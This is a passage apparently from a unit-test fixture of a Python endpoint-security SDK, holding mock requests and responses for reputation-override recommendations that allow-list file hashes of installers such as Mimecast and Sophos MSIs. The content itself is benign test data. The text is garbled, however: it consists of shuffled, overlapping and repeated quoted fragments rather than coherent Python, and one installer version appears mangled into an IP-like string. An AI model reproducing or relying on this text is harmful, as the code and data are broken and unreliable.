"\"REJECT\", \"comment\": \"Charlie\" }, ] ACTION_REFRESH_SEARCH = { \"criteria\": {",
"debts\" }, \"impact\": { \"org_adoption\": \"HIGH\", \"impacted_devices\": 8, \"event_count\": 25,",
"\"91e9158f-23cc-47fd-af7f-8f56e2206523\", \"rule_type\": \"reputation_override\", \"policy_id\": 0, \"new_rule\": { \"override_type\": \"SHA256\", \"override_list\":",
"responses for recommendations.\"\"\" SEARCH_REQ = { \"criteria\": { \"policy_type\": ['reputation_override'],",
"\"event_count\": 79, \"impact_score\": 0, \"update_time\": \"2021-05-18T16:37:07.000Z\" } } ACTION_REQS =",
"0, \"update_time\": \"2021-05-18T16:37:07.000Z\" } }, { \"recommendation_id\": \"bd50c2b2-5403-4e9e-8863-9991f70df026\", \"rule_type\": \"reputation_override\",",
"\"NEW\", \"changed_by\": \"<EMAIL>\", \"create_time\": \"2021-05-18T16:37:07.000Z\", \"update_time\": \"2021-08-31T20:53:09.000Z\", \"comment\": \"Always pay",
"\"2021-05-18T16:37:07.000Z\" } } ACTION_REQS = [ { \"action\": \"ACCEPT\", \"comment\":",
"['reputation_override'], \"status\": ['NEW', 'REJECTED', 'ACCEPTED'], \"hashes\": ['111', '222'] }, \"rows\":",
"}, { \"action\": \"RESET\" }, { \"action\": \"REJECT\", \"comment\": \"Charlie\"",
"\"SHA256\", \"override_list\": \"WHITE_LIST\", \"sha256_hash\": \"32d2be78c00056b577295aa0943d97a5c5a0be357183fcd714c7f5036e4bdede\", \"filename\": \"XprotectService\", \"application\": { \"type\":",
"['NEW', 'REJECTED', 'ACCEPTED'], \"policy_type\": ['reputation_override'] }, \"rows\": 50 } ACTION_SEARCH_RESP",
"\"impact_score\": 0, \"update_time\": \"2021-05-18T16:37:07.000Z\" } } ACTION_REQS = [ {",
"\"rows\": 50 } ACTION_SEARCH_RESP = { \"results\": [ACTION_INIT], \"num_found\": 1",
"\"2021-05-18T16:37:07.000Z\" } }, { \"recommendation_id\": \"bd50c2b2-5403-4e9e-8863-9991f70df026\", \"rule_type\": \"reputation_override\", \"policy_id\": 0,",
"ACTION_INIT = { \"recommendation_id\": \"0d9da444-cfa7-4488-9fad-e2abab099b68\", \"rule_type\": \"reputation_override\", \"policy_id\": 0, \"new_rule\":",
"\"new_rule\": { \"override_type\": \"SHA256\", \"override_list\": \"WHITE_LIST\", \"sha256_hash\": \"2272c5221e90f9762dfa38786da01b36a28a7da5556b07dec3523d1abc292124\", \"filename\": \"mimecast",
"\"criteria\": { \"policy_type\": ['reputation_override'], \"status\": ['NEW', 'REJECTED', 'ACCEPTED'], \"hashes\": ['111',",
"} }, { \"recommendation_id\": \"bd50c2b2-5403-4e9e-8863-9991f70df026\", \"rule_type\": \"reputation_override\", \"policy_id\": 0, \"new_rule\":",
"\"impact_score\": 0, \"update_time\": \"2021-05-18T16:37:07.000Z\" } } ], \"num_found\": 3 }",
"\"status\": ['NEW', 'REJECTED', 'ACCEPTED'], \"policy_type\": ['reputation_override'] }, \"rows\": 50 }",
"76, \"impact_score\": 0, \"update_time\": \"2021-05-18T16:37:07.000Z\" } }, { \"recommendation_id\": \"bd50c2b2-5403-4e9e-8863-9991f70df026\",",
"\"Ours is the fury\" }, \"impact\": { \"org_adoption\": \"LOW\", \"impacted_devices\":",
"\"update_time\": \"2021-08-31T15:13:40.000Z\", \"comment\": \"Winter is coming\" }, \"impact\": { \"org_adoption\":",
"}, \"workflow\": { \"status\": \"ACCEPTED\", \"ref_id\": \"e9410b754ea011ebbfd0db2585a41b07\", \"changed_by\": \"<EMAIL>\", \"create_time\":",
"(x86).msi\" }, \"workflow\": { \"status\": \"ACCEPTED\", \"ref_id\": \"e9410b754ea011ebbfd0db2585a41b07\", \"changed_by\": \"<EMAIL>\",",
"\"e9410b754ea011ebbfd0db2585a41b07\", \"changed_by\": \"<EMAIL>\", \"create_time\": \"2021-05-18T16:37:07.000Z\", \"update_time\": \"2021-08-31T15:13:40.000Z\", \"comment\": \"Winter is",
"\"sha256_hash\": \"32d2be78c00056b577295aa0943d97a5c5a0be357183fcd714c7f5036e4bdede\", \"filename\": \"XprotectService\", \"application\": { \"type\": \"EXE\", \"value\": \"FOO\"",
"ACTION_REFRESH_SEARCH = { \"criteria\": { \"status\": ['NEW', 'REJECTED', 'ACCEPTED'], \"policy_type\":",
"{ \"recommendation_id\": \"91e9158f-23cc-47fd-af7f-8f56e2206523\", \"rule_type\": \"reputation_override\", \"policy_id\": 0, \"new_rule\": { \"override_type\":",
"{ \"status\": \"ACCEPTED\", \"ref_id\": \"e9410b754ea011ebbfd0db2585a41b07\", \"changed_by\": \"<EMAIL>\", \"create_time\": \"2021-05-18T16:37:07.000Z\", \"update_time\":",
"\"NEW\", \"changed_by\": \"<EMAIL>\", \"create_time\": \"2021-05-18T16:37:07.000Z\", \"update_time\": \"2021-08-31T20:53:39.000Z\", \"comment\": \"Ours is",
"'222'] }, \"rows\": 50, \"sort\": [ { \"field\": \"impact_score\", \"order\":",
"} }, \"workflow\": { \"status\": \"NEW\", \"changed_by\": \"<EMAIL>\", \"create_time\": \"2021-05-18T16:37:07.000Z\",",
"\"num_found\": 1 } ACTION_REFRESH_STATUS = ['ACCEPTED', 'NEW', 'REJECTED'] ACTION_INIT_ACCEPTED =",
"\"filename\": \"mimecast for outlook 192.168.3.11 (x86).msi\" }, \"workflow\": { \"status\":",
"}, { \"action\": \"REJECT\", \"comment\": \"Charlie\" }, ] ACTION_REFRESH_SEARCH =",
"}, { \"recommendation_id\": \"bd50c2b2-5403-4e9e-8863-9991f70df026\", \"rule_type\": \"reputation_override\", \"policy_id\": 0, \"new_rule\": {",
"\"override_list\": \"WHITE_LIST\", \"sha256_hash\": \"0bbc082cd8b3ff62898ad80a57cb5e1f379e3fcfa48fa2f9858901eb0c220dc0\", \"filename\": \"sophos ui.msi\" }, \"workflow\": {",
"{ \"status\": \"NEW\", \"changed_by\": \"<EMAIL>\", \"create_time\": \"2021-05-18T16:37:07.000Z\", \"update_time\": \"2021-08-31T20:53:09.000Z\", \"comment\":",
"0, \"update_time\": \"2021-05-18T16:37:07.000Z\" } } ], \"num_found\": 3 } ACTION_INIT",
"[ { \"action\": \"ACCEPT\", \"comment\": \"Alpha\" }, { \"action\": \"RESET\"",
"\"filename\": \"mimecast for outlook 7.8.0.125 (x86).msi\" }, \"workflow\": { \"status\":",
"\"override_list\": \"WHITE_LIST\", \"sha256_hash\": \"2272c5221e90f9762dfa38786da01b36a28a7da5556b07dec3523d1abc292124\", \"filename\": \"mimecast for outlook 7.8.0.125 (x86).msi\"",
"{ \"status\": \"NEW\", \"changed_by\": \"<EMAIL>\", \"create_time\": \"2021-05-18T16:37:07.000Z\", \"update_time\": \"2021-08-31T20:53:39.000Z\", \"comment\":",
"\"policy_type\": ['reputation_override'] }, \"rows\": 50 } ACTION_SEARCH_RESP = { \"results\":",
"\"Winter is coming\" }, \"impact\": { \"org_adoption\": \"MEDIUM\", \"impacted_devices\": 45,",
"}, \"rows\": 50 } ACTION_SEARCH_RESP = { \"results\": [ACTION_INIT], \"num_found\":",
"\"policy_id\": 0, \"new_rule\": { \"override_type\": \"SHA256\", \"override_list\": \"WHITE_LIST\", \"sha256_hash\": \"32d2be78c00056b577295aa0943d97a5c5a0be357183fcd714c7f5036e4bdede\",",
"\"NEW\", \"changed_by\": \"<EMAIL>\", \"create_time\": \"2021-05-18T16:37:07.000Z\", \"update_time\": \"2021-08-31T15:13:40.000Z\", \"comment\": \"Winter is",
"\"value\": \"FOO\" } }, \"workflow\": { \"status\": \"NEW\", \"changed_by\": \"<EMAIL>\",",
"\"application\": { \"type\": \"EXE\", \"value\": \"FOO\" } }, \"workflow\": {",
"ACTION_REQS = [ { \"action\": \"ACCEPT\", \"comment\": \"Alpha\" }, {",
"\"order\": \"DESC\" } ] } SEARCH_RESP = { \"results\": [",
"\"update_time\": \"2021-08-31T20:53:09.000Z\", \"comment\": \"Always pay your debts\" }, \"impact\": {",
"\"HIGH\", \"impacted_devices\": 8, \"event_count\": 25, \"impact_score\": 0, \"update_time\": \"2021-05-18T16:37:07.000Z\" }",
"\"impact_score\": 0, \"update_time\": \"2021-05-18T16:37:07.000Z\" } }, { \"recommendation_id\": \"0d9da444-cfa7-4488-9fad-e2abab099b68\", \"rule_type\":",
"\"workflow\": { \"status\": \"NEW\", \"changed_by\": \"<EMAIL>\", \"create_time\": \"2021-05-18T16:37:07.000Z\", \"update_time\": \"2021-08-31T15:13:40.000Z\",",
"\"comment\": \"Always pay your debts\" }, \"impact\": { \"org_adoption\": \"HIGH\",",
"\"2021-05-18T16:37:07.000Z\" } }, { \"recommendation_id\": \"0d9da444-cfa7-4488-9fad-e2abab099b68\", \"rule_type\": \"reputation_override\", \"policy_id\": 0,",
"\"sha256_hash\": \"2272c5221e90f9762dfa38786da01b36a28a7da5556b07dec3523d1abc292124\", \"filename\": \"mimecast for outlook 7.8.0.125 (x86).msi\" }, \"workflow\":",
"\"2021-08-31T15:13:40.000Z\", \"comment\": \"Winter is coming\" }, \"impact\": { \"org_adoption\": \"MEDIUM\",",
"\"2021-08-31T20:53:39.000Z\", \"comment\": \"Ours is the fury\" }, \"impact\": { \"org_adoption\":",
"\"recommendation_id\": \"0d9da444-cfa7-4488-9fad-e2abab099b68\", \"rule_type\": \"reputation_override\", \"policy_id\": 0, \"new_rule\": { \"override_type\": \"SHA256\",",
"{ \"status\": ['NEW', 'REJECTED', 'ACCEPTED'], \"policy_type\": ['reputation_override'] }, \"rows\": 50",
"'REJECTED', 'ACCEPTED'], \"policy_type\": ['reputation_override'] }, \"rows\": 50 } ACTION_SEARCH_RESP =",
"\"XprotectService\", \"application\": { \"type\": \"EXE\", \"value\": \"FOO\" } }, \"workflow\":",
"45, \"event_count\": 76, \"impact_score\": 0, \"update_time\": \"2021-05-18T16:37:07.000Z\" } }, {",
"\"ACCEPT\", \"comment\": \"Alpha\" }, { \"action\": \"RESET\" }, { \"action\":",
"] ACTION_REFRESH_SEARCH = { \"criteria\": { \"status\": ['NEW', 'REJECTED', 'ACCEPTED'],",
"\"status\": \"NEW\", \"changed_by\": \"<EMAIL>\", \"create_time\": \"2021-05-18T16:37:07.000Z\", \"update_time\": \"2021-08-31T20:53:39.000Z\", \"comment\": \"Ours",
"0, \"new_rule\": { \"override_type\": \"SHA256\", \"override_list\": \"WHITE_LIST\", \"sha256_hash\": \"0bbc082cd8b3ff62898ad80a57cb5e1f379e3fcfa48fa2f9858901eb0c220dc0\", \"filename\":",
"\"field\": \"impact_score\", \"order\": \"DESC\" } ] } SEARCH_RESP = {",
"79, \"impact_score\": 0, \"update_time\": \"2021-05-18T16:37:07.000Z\" } } ACTION_REQS = [",
"\"LOW\", \"impacted_devices\": 45, \"event_count\": 76, \"impact_score\": 0, \"update_time\": \"2021-05-18T16:37:07.000Z\" }",
"\"<EMAIL>\", \"create_time\": \"2021-05-18T16:37:07.000Z\", \"update_time\": \"2021-08-31T20:53:09.000Z\", \"comment\": \"Always pay your debts\"",
"\"override_type\": \"SHA256\", \"override_list\": \"WHITE_LIST\", \"sha256_hash\": \"2272c5221e90f9762dfa38786da01b36a28a7da5556b07dec3523d1abc292124\", \"filename\": \"mimecast for outlook",
"} ], \"num_found\": 3 } ACTION_INIT = { \"recommendation_id\": \"0d9da444-cfa7-4488-9fad-e2abab099b68\",",
"} ACTION_SEARCH_RESP = { \"results\": [ACTION_INIT], \"num_found\": 1 } ACTION_REFRESH_STATUS",
"\"sha256_hash\": \"0bbc082cd8b3ff62898ad80a57cb5e1f379e3fcfa48fa2f9858901eb0c220dc0\", \"filename\": \"sophos ui.msi\" }, \"workflow\": { \"status\": \"NEW\",",
"\"ACCEPTED\", \"ref_id\": \"e9410b754ea011ebbfd0db2585a41b07\", \"changed_by\": \"<EMAIL>\", \"create_time\": \"2021-05-18T16:37:07.000Z\", \"update_time\": \"2021-08-31T15:13:40.000Z\", \"comment\":",
"\"event_count\": 25, \"impact_score\": 0, \"update_time\": \"2021-05-18T16:37:07.000Z\" } }, { \"recommendation_id\":",
"\"update_time\": \"2021-05-18T16:37:07.000Z\" } }, { \"recommendation_id\": \"0d9da444-cfa7-4488-9fad-e2abab099b68\", \"rule_type\": \"reputation_override\", \"policy_id\":",
"fury\" }, \"impact\": { \"org_adoption\": \"LOW\", \"impacted_devices\": 45, \"event_count\": 76,",
"\"WHITE_LIST\", \"sha256_hash\": \"2272c5221e90f9762dfa38786da01b36a28a7da5556b07dec3523d1abc292124\", \"filename\": \"mimecast for outlook 7.8.0.125 (x86).msi\" },",
"} ACTION_REQS = [ { \"action\": \"ACCEPT\", \"comment\": \"Alpha\" },",
"\"WHITE_LIST\", \"sha256_hash\": \"2272c5221e90f9762dfa38786da01b36a28a7da5556b07dec3523d1abc292124\", \"filename\": \"mimecast for outlook 192.168.3.11 (x86).msi\" },",
"\"impact\": { \"org_adoption\": \"MEDIUM\", \"impacted_devices\": 45, \"event_count\": 79, \"impact_score\": 0,",
"\"create_time\": \"2021-05-18T16:37:07.000Z\", \"update_time\": \"2021-08-31T15:13:40.000Z\", \"comment\": \"Winter is coming\" }, \"impact\":",
"for outlook 192.168.3.11 (x86).msi\" }, \"workflow\": { \"status\": \"ACCEPTED\", \"ref_id\":",
"\"WHITE_LIST\", \"sha256_hash\": \"32d2be78c00056b577295aa0943d97a5c5a0be357183fcd714c7f5036e4bdede\", \"filename\": \"XprotectService\", \"application\": { \"type\": \"EXE\", \"value\":",
"\"2021-05-18T16:37:07.000Z\", \"update_time\": \"2021-08-31T20:53:39.000Z\", \"comment\": \"Ours is the fury\" }, \"impact\":",
"SEARCH_REQ = { \"criteria\": { \"policy_type\": ['reputation_override'], \"status\": ['NEW', 'REJECTED',",
"for outlook 7.8.0.125 (x86).msi\" }, \"workflow\": { \"status\": \"NEW\", \"changed_by\":",
"\"hashes\": ['111', '222'] }, \"rows\": 50, \"sort\": [ { \"field\":",
"\"2021-05-18T16:37:07.000Z\" } } ], \"num_found\": 3 } ACTION_INIT = {",
"\"criteria\": { \"status\": ['NEW', 'REJECTED', 'ACCEPTED'], \"policy_type\": ['reputation_override'] }, \"rows\":",
"\"sha256_hash\": \"2272c5221e90f9762dfa38786da01b36a28a7da5556b07dec3523d1abc292124\", \"filename\": \"mimecast for outlook 192.168.3.11 (x86).msi\" }, \"workflow\":",
"\"policy_id\": 0, \"new_rule\": { \"override_type\": \"SHA256\", \"override_list\": \"WHITE_LIST\", \"sha256_hash\": \"0bbc082cd8b3ff62898ad80a57cb5e1f379e3fcfa48fa2f9858901eb0c220dc0\",",
"= ['ACCEPTED', 'NEW', 'REJECTED'] ACTION_INIT_ACCEPTED = { \"recommendation_id\": \"0d9da444-cfa7-4488-9fad-e2abab099b68\", \"rule_type\":",
"'REJECTED', 'ACCEPTED'], \"hashes\": ['111', '222'] }, \"rows\": 50, \"sort\": [",
"\"rows\": 50, \"sort\": [ { \"field\": \"impact_score\", \"order\": \"DESC\" }",
"\"2021-08-31T20:53:09.000Z\", \"comment\": \"Always pay your debts\" }, \"impact\": { \"org_adoption\":",
"\"results\": [ { \"recommendation_id\": \"91e9158f-23cc-47fd-af7f-8f56e2206523\", \"rule_type\": \"reputation_override\", \"policy_id\": 0, \"new_rule\":",
"}, \"impact\": { \"org_adoption\": \"LOW\", \"impacted_devices\": 45, \"event_count\": 76, \"impact_score\":",
"<reponame>fslds/carbon-black-cloud-sdk-python<filename>src/tests/unit/fixtures/endpoint_standard/mock_recommendation.py<gh_stars>10-100 \"\"\"Mock responses for recommendations.\"\"\" SEARCH_REQ = { \"criteria\": {",
"\"workflow\": { \"status\": \"NEW\", \"changed_by\": \"<EMAIL>\", \"create_time\": \"2021-05-18T16:37:07.000Z\", \"update_time\": \"2021-08-31T20:53:09.000Z\",",
"\"policy_type\": ['reputation_override'], \"status\": ['NEW', 'REJECTED', 'ACCEPTED'], \"hashes\": ['111', '222'] },",
"\"impact_score\": 0, \"update_time\": \"2021-05-18T16:37:07.000Z\" } }, { \"recommendation_id\": \"bd50c2b2-5403-4e9e-8863-9991f70df026\", \"rule_type\":",
"\"<EMAIL>\", \"create_time\": \"2021-05-18T16:37:07.000Z\", \"update_time\": \"2021-08-31T20:53:39.000Z\", \"comment\": \"Ours is the fury\"",
"\"bd50c2b2-5403-4e9e-8863-9991f70df026\", \"rule_type\": \"reputation_override\", \"policy_id\": 0, \"new_rule\": { \"override_type\": \"SHA256\", \"override_list\":",
"79, \"impact_score\": 0, \"update_time\": \"2021-05-18T16:37:07.000Z\" } } ], \"num_found\": 3",
"\"num_found\": 3 } ACTION_INIT = { \"recommendation_id\": \"0d9da444-cfa7-4488-9fad-e2abab099b68\", \"rule_type\": \"reputation_override\",",
"'ACCEPTED'], \"policy_type\": ['reputation_override'] }, \"rows\": 50 } ACTION_SEARCH_RESP = {",
"pay your debts\" }, \"impact\": { \"org_adoption\": \"HIGH\", \"impacted_devices\": 8,",
"\"\"\"Mock responses for recommendations.\"\"\" SEARCH_REQ = { \"criteria\": { \"policy_type\":",
"your debts\" }, \"impact\": { \"org_adoption\": \"HIGH\", \"impacted_devices\": 8, \"event_count\":",
"the fury\" }, \"impact\": { \"org_adoption\": \"LOW\", \"impacted_devices\": 45, \"event_count\":",
"192.168.3.11 (x86).msi\" }, \"workflow\": { \"status\": \"ACCEPTED\", \"ref_id\": \"e9410b754ea011ebbfd0db2585a41b07\", \"changed_by\":",
"ACTION_INIT_ACCEPTED = { \"recommendation_id\": \"0d9da444-cfa7-4488-9fad-e2abab099b68\", \"rule_type\": \"reputation_override\", \"policy_id\": 0, \"new_rule\":",
"50, \"sort\": [ { \"field\": \"impact_score\", \"order\": \"DESC\" } ]",
"\"override_type\": \"SHA256\", \"override_list\": \"WHITE_LIST\", \"sha256_hash\": \"0bbc082cd8b3ff62898ad80a57cb5e1f379e3fcfa48fa2f9858901eb0c220dc0\", \"filename\": \"sophos ui.msi\" },",
"} SEARCH_RESP = { \"results\": [ { \"recommendation_id\": \"91e9158f-23cc-47fd-af7f-8f56e2206523\", \"rule_type\":",
"= { \"criteria\": { \"policy_type\": ['reputation_override'], \"status\": ['NEW', 'REJECTED', 'ACCEPTED'],",
"\"recommendation_id\": \"91e9158f-23cc-47fd-af7f-8f56e2206523\", \"rule_type\": \"reputation_override\", \"policy_id\": 0, \"new_rule\": { \"override_type\": \"SHA256\",",
"\"org_adoption\": \"MEDIUM\", \"impacted_devices\": 45, \"event_count\": 79, \"impact_score\": 0, \"update_time\": \"2021-05-18T16:37:07.000Z\"",
"{ \"status\": \"NEW\", \"changed_by\": \"<EMAIL>\", \"create_time\": \"2021-05-18T16:37:07.000Z\", \"update_time\": \"2021-08-31T15:13:40.000Z\", \"comment\":",
"\"comment\": \"Charlie\" }, ] ACTION_REFRESH_SEARCH = { \"criteria\": { \"status\":",
"\"impacted_devices\": 8, \"event_count\": 25, \"impact_score\": 0, \"update_time\": \"2021-05-18T16:37:07.000Z\" } },",
"\"policy_id\": 0, \"new_rule\": { \"override_type\": \"SHA256\", \"override_list\": \"WHITE_LIST\", \"sha256_hash\": \"2272c5221e90f9762dfa38786da01b36a28a7da5556b07dec3523d1abc292124\",",
"} } ACTION_REQS = [ { \"action\": \"ACCEPT\", \"comment\": \"Alpha\"",
"['ACCEPTED', 'NEW', 'REJECTED'] ACTION_INIT_ACCEPTED = { \"recommendation_id\": \"0d9da444-cfa7-4488-9fad-e2abab099b68\", \"rule_type\": \"reputation_override\",",
"{ \"results\": [ { \"recommendation_id\": \"91e9158f-23cc-47fd-af7f-8f56e2206523\", \"rule_type\": \"reputation_override\", \"policy_id\": 0,",
"\"SHA256\", \"override_list\": \"WHITE_LIST\", \"sha256_hash\": \"0bbc082cd8b3ff62898ad80a57cb5e1f379e3fcfa48fa2f9858901eb0c220dc0\", \"filename\": \"sophos ui.msi\" }, \"workflow\":",
"\"mimecast for outlook 192.168.3.11 (x86).msi\" }, \"workflow\": { \"status\": \"ACCEPTED\",",
"\"2272c5221e90f9762dfa38786da01b36a28a7da5556b07dec3523d1abc292124\", \"filename\": \"mimecast for outlook 7.8.0.125 (x86).msi\" }, \"workflow\": {",
"\"impact\": { \"org_adoption\": \"HIGH\", \"impacted_devices\": 8, \"event_count\": 25, \"impact_score\": 0,",
"'ACCEPTED'], \"hashes\": ['111', '222'] }, \"rows\": 50, \"sort\": [ {",
"\"new_rule\": { \"override_type\": \"SHA256\", \"override_list\": \"WHITE_LIST\", \"sha256_hash\": \"32d2be78c00056b577295aa0943d97a5c5a0be357183fcd714c7f5036e4bdede\", \"filename\": \"XprotectService\",",
"} ACTION_REFRESH_STATUS = ['ACCEPTED', 'NEW', 'REJECTED'] ACTION_INIT_ACCEPTED = { \"recommendation_id\":",
"{ \"criteria\": { \"policy_type\": ['reputation_override'], \"status\": ['NEW', 'REJECTED', 'ACCEPTED'], \"hashes\":",
"\"changed_by\": \"<EMAIL>\", \"create_time\": \"2021-05-18T16:37:07.000Z\", \"update_time\": \"2021-08-31T15:13:40.000Z\", \"comment\": \"Winter is coming\"",
"3 } ACTION_INIT = { \"recommendation_id\": \"0d9da444-cfa7-4488-9fad-e2abab099b68\", \"rule_type\": \"reputation_override\", \"policy_id\":",
"\"impact\": { \"org_adoption\": \"LOW\", \"impacted_devices\": 45, \"event_count\": 76, \"impact_score\": 0,",
"[ { \"field\": \"impact_score\", \"order\": \"DESC\" } ] } SEARCH_RESP",
"\"recommendation_id\": \"bd50c2b2-5403-4e9e-8863-9991f70df026\", \"rule_type\": \"reputation_override\", \"policy_id\": 0, \"new_rule\": { \"override_type\": \"SHA256\",",
"\"create_time\": \"2021-05-18T16:37:07.000Z\", \"update_time\": \"2021-08-31T20:53:09.000Z\", \"comment\": \"Always pay your debts\" },",
"] } SEARCH_RESP = { \"results\": [ { \"recommendation_id\": \"91e9158f-23cc-47fd-af7f-8f56e2206523\",",
"\"FOO\" } }, \"workflow\": { \"status\": \"NEW\", \"changed_by\": \"<EMAIL>\", \"create_time\":",
"{ \"override_type\": \"SHA256\", \"override_list\": \"WHITE_LIST\", \"sha256_hash\": \"2272c5221e90f9762dfa38786da01b36a28a7da5556b07dec3523d1abc292124\", \"filename\": \"mimecast for",
"\"<EMAIL>\", \"create_time\": \"2021-05-18T16:37:07.000Z\", \"update_time\": \"2021-08-31T15:13:40.000Z\", \"comment\": \"Winter is coming\" },",
"\"RESET\" }, { \"action\": \"REJECT\", \"comment\": \"Charlie\" }, ] ACTION_REFRESH_SEARCH",
"\"Alpha\" }, { \"action\": \"RESET\" }, { \"action\": \"REJECT\", \"comment\":",
"\"filename\": \"XprotectService\", \"application\": { \"type\": \"EXE\", \"value\": \"FOO\" } },",
"\"override_list\": \"WHITE_LIST\", \"sha256_hash\": \"32d2be78c00056b577295aa0943d97a5c5a0be357183fcd714c7f5036e4bdede\", \"filename\": \"XprotectService\", \"application\": { \"type\": \"EXE\",",
"0, \"update_time\": \"2021-05-18T16:37:07.000Z\" } } ACTION_REQS = [ { \"action\":",
"{ \"action\": \"RESET\" }, { \"action\": \"REJECT\", \"comment\": \"Charlie\" },",
"'REJECTED'] ACTION_INIT_ACCEPTED = { \"recommendation_id\": \"0d9da444-cfa7-4488-9fad-e2abab099b68\", \"rule_type\": \"reputation_override\", \"policy_id\": 0,",
"is the fury\" }, \"impact\": { \"org_adoption\": \"LOW\", \"impacted_devices\": 45,",
"for recommendations.\"\"\" SEARCH_REQ = { \"criteria\": { \"policy_type\": ['reputation_override'], \"status\":",
"0, \"new_rule\": { \"override_type\": \"SHA256\", \"override_list\": \"WHITE_LIST\", \"sha256_hash\": \"32d2be78c00056b577295aa0943d97a5c5a0be357183fcd714c7f5036e4bdede\", \"filename\":",
"\"comment\": \"Ours is the fury\" }, \"impact\": { \"org_adoption\": \"LOW\",",
"\"filename\": \"sophos ui.msi\" }, \"workflow\": { \"status\": \"NEW\", \"changed_by\": \"<EMAIL>\",",
"} }, { \"recommendation_id\": \"0d9da444-cfa7-4488-9fad-e2abab099b68\", \"rule_type\": \"reputation_override\", \"policy_id\": 0, \"new_rule\":",
"\"MEDIUM\", \"impacted_devices\": 45, \"event_count\": 79, \"impact_score\": 0, \"update_time\": \"2021-05-18T16:37:07.000Z\" }",
"\"status\": \"NEW\", \"changed_by\": \"<EMAIL>\", \"create_time\": \"2021-05-18T16:37:07.000Z\", \"update_time\": \"2021-08-31T15:13:40.000Z\", \"comment\": \"Winter",
"\"Charlie\" }, ] ACTION_REFRESH_SEARCH = { \"criteria\": { \"status\": ['NEW',",
"\"workflow\": { \"status\": \"NEW\", \"changed_by\": \"<EMAIL>\", \"create_time\": \"2021-05-18T16:37:07.000Z\", \"update_time\": \"2021-08-31T20:53:39.000Z\",",
"}, \"impact\": { \"org_adoption\": \"HIGH\", \"impacted_devices\": 8, \"event_count\": 25, \"impact_score\":",
"['111', '222'] }, \"rows\": 50, \"sort\": [ { \"field\": \"impact_score\",",
"45, \"event_count\": 79, \"impact_score\": 0, \"update_time\": \"2021-05-18T16:37:07.000Z\" } } ],",
"\"DESC\" } ] } SEARCH_RESP = { \"results\": [ {",
"\"rule_type\": \"reputation_override\", \"policy_id\": 0, \"new_rule\": { \"override_type\": \"SHA256\", \"override_list\": \"WHITE_LIST\",",
"[ACTION_INIT], \"num_found\": 1 } ACTION_REFRESH_STATUS = ['ACCEPTED', 'NEW', 'REJECTED'] ACTION_INIT_ACCEPTED",
"\"SHA256\", \"override_list\": \"WHITE_LIST\", \"sha256_hash\": \"2272c5221e90f9762dfa38786da01b36a28a7da5556b07dec3523d1abc292124\", \"filename\": \"mimecast for outlook 192.168.3.11",
"ui.msi\" }, \"workflow\": { \"status\": \"NEW\", \"changed_by\": \"<EMAIL>\", \"create_time\": \"2021-05-18T16:37:07.000Z\",",
"\"status\": \"NEW\", \"changed_by\": \"<EMAIL>\", \"create_time\": \"2021-05-18T16:37:07.000Z\", \"update_time\": \"2021-08-31T20:53:09.000Z\", \"comment\": \"Always",
"['reputation_override'] }, \"rows\": 50 } ACTION_SEARCH_RESP = { \"results\": [ACTION_INIT],",
"['NEW', 'REJECTED', 'ACCEPTED'], \"hashes\": ['111', '222'] }, \"rows\": 50, \"sort\":",
"[ { \"recommendation_id\": \"91e9158f-23cc-47fd-af7f-8f56e2206523\", \"rule_type\": \"reputation_override\", \"policy_id\": 0, \"new_rule\": {",
"\"sophos ui.msi\" }, \"workflow\": { \"status\": \"NEW\", \"changed_by\": \"<EMAIL>\", \"create_time\":",
"{ \"org_adoption\": \"MEDIUM\", \"impacted_devices\": 45, \"event_count\": 79, \"impact_score\": 0, \"update_time\":",
"\"type\": \"EXE\", \"value\": \"FOO\" } }, \"workflow\": { \"status\": \"NEW\",",
"{ \"results\": [ACTION_INIT], \"num_found\": 1 } ACTION_REFRESH_STATUS = ['ACCEPTED', 'NEW',",
"\"changed_by\": \"<EMAIL>\", \"create_time\": \"2021-05-18T16:37:07.000Z\", \"update_time\": \"2021-08-31T20:53:09.000Z\", \"comment\": \"Always pay your",
"\"SHA256\", \"override_list\": \"WHITE_LIST\", \"sha256_hash\": \"2272c5221e90f9762dfa38786da01b36a28a7da5556b07dec3523d1abc292124\", \"filename\": \"mimecast for outlook 7.8.0.125",
"\"sort\": [ { \"field\": \"impact_score\", \"order\": \"DESC\" } ] }",
"= { \"recommendation_id\": \"0d9da444-cfa7-4488-9fad-e2abab099b68\", \"rule_type\": \"reputation_override\", \"policy_id\": 0, \"new_rule\": {",
"\"org_adoption\": \"HIGH\", \"impacted_devices\": 8, \"event_count\": 25, \"impact_score\": 0, \"update_time\": \"2021-05-18T16:37:07.000Z\"",
"= [ { \"action\": \"ACCEPT\", \"comment\": \"Alpha\" }, { \"action\":",
"\"action\": \"ACCEPT\", \"comment\": \"Alpha\" }, { \"action\": \"RESET\" }, {",
"= { \"results\": [ACTION_INIT], \"num_found\": 1 } ACTION_REFRESH_STATUS = ['ACCEPTED',",
"\"ref_id\": \"e9410b754ea011ebbfd0db2585a41b07\", \"changed_by\": \"<EMAIL>\", \"create_time\": \"2021-05-18T16:37:07.000Z\", \"update_time\": \"2021-08-31T15:13:40.000Z\", \"comment\": \"Winter",
"\"comment\": \"Alpha\" }, { \"action\": \"RESET\" }, { \"action\": \"REJECT\",",
"\"Always pay your debts\" }, \"impact\": { \"org_adoption\": \"HIGH\", \"impacted_devices\":",
"\"status\": ['NEW', 'REJECTED', 'ACCEPTED'], \"hashes\": ['111', '222'] }, \"rows\": 50,",
"0, \"new_rule\": { \"override_type\": \"SHA256\", \"override_list\": \"WHITE_LIST\", \"sha256_hash\": \"2272c5221e90f9762dfa38786da01b36a28a7da5556b07dec3523d1abc292124\", \"filename\":",
"], \"num_found\": 3 } ACTION_INIT = { \"recommendation_id\": \"0d9da444-cfa7-4488-9fad-e2abab099b68\", \"rule_type\":",
"{ \"type\": \"EXE\", \"value\": \"FOO\" } }, \"workflow\": { \"status\":",
"\"impact_score\", \"order\": \"DESC\" } ] } SEARCH_RESP = { \"results\":",
"\"2021-05-18T16:37:07.000Z\", \"update_time\": \"2021-08-31T20:53:09.000Z\", \"comment\": \"Always pay your debts\" }, \"impact\":",
"} ] } SEARCH_RESP = { \"results\": [ { \"recommendation_id\":",
"\"reputation_override\", \"policy_id\": 0, \"new_rule\": { \"override_type\": \"SHA256\", \"override_list\": \"WHITE_LIST\", \"sha256_hash\":",
"\"org_adoption\": \"LOW\", \"impacted_devices\": 45, \"event_count\": 76, \"impact_score\": 0, \"update_time\": \"2021-05-18T16:37:07.000Z\"",
"}, \"impact\": { \"org_adoption\": \"MEDIUM\", \"impacted_devices\": 45, \"event_count\": 79, \"impact_score\":",
